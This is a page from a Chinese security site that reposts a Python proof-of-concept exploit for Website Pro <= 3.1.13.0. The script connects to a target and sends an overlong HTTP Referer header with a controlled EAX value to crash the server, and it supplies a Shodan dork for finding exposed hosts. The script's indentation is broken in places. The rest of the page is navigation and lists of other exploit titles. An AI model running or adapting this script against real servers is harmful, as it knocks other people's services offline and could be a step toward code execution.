首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Website Pro <= 3.1.13.0 "Referer:" Remote Buffer Overflow Crash PoC
来源:www.localh0t.com.ar 作者:localh0t 发布时间:2012-03-23  
#!/usr/bin/python

# Website Pro <= 3.1.13.0 "Referer:" Remote Buffer Overflow Crash PoC
# written by localh0t
# SHODAN Dork: "Server: Website/3.1"
# Date: 22/04/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
# Greetz: Inj3ct0r 1337day Exploit DataBase   1337day.com

# Note: The crash occurs when the application tries to write ECX (0x00000000) into the address that contains EAX (we control EAX) (0xBAADBEEF)
# Possible explotable, not tested yet.

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
print "\nWebsite Pro <= 3.1.13.0 \"Referer:\" Remote Buffer Overflow Crash PoC"
        print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()


print "\n[!] Connecting to %s ..." %(sys.argv[1])

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))

print "[!] Sending payload..."

payload = "A" * 996
payload += "\xEF\xBE\xAD\xBA" # EAX
payload += "C" * 2000
buffer = "OPTIONS / HTTP/1.1\r\n"
sock.send(buffer)
buffer = "Host: localhost\r\n"
sock.send(buffer)
buffer = "Referer: " + payload + "\r\n\r\n"
sock.send(buffer)

sock.close()
print "[!] Exploit succeed. Target should crashed."

sys.exit()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ricoh DC Software DL-10 FTP Se
·ZyXEL FTP service Remote DDoS
·MS10-002 Internet Explorer Obj
·Cisco Linksys WVC200 Wireless-
·FreePBX 2.10.0 / Elastix 2.2.0
·Google Talk gtalk:// Deprecate
·Spotify 0.8.2.610 (search func
·phpFox <= 3.0.1 (ajax.php) Rem
·mmPlayer 2.2 (.m3u) Local Buff
·mmPlayer 2.2 (.ppl) Local Buff
·Apple Safari On iOS 5.1 Addres
·Ricoh DC DL-10 SR10 FTP USER C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved